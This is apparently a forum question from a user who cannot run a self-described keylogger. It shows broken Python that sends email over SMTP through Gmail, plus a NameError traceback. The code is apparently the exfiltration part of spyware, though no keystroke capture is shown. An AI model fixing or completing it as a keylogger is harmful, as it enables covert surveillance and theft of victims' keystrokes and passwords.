I have imported all required packages but i am still not able to run this keylogger

Question

from smtpd import SMTPServer
import smtplib, ssl

def sendEmail(message):
    smtp_server = "smtp.gmail.com"
    port = 465
    sender_email = "[email protected]"
    password = "password"
    receiver_email = "[email protected]"

    context = ssl.create_default_context()

try:
    server = smtplib.SMTP(smtp_server,port)
    server.ehlo() 
    server.starttls(context=context) 
    server.ehlo()
    server.login(sender_email, password)
    server.sendmail(sender_email, receiver_email, message)

except Exception as e:
        print(e)
finally:
        server.quit()

got this error while running the code

name 'smtp_server' is not defined
Traceback (most recent call last):
  File "/Users/dhruvsahgal/Desktop/dhruv_practice/project1/send_email.py", line 24, in <module>
    server.quit()
NameError: name 'server' is not defined

Please help me find out what the error is I am running this on mac os in vs code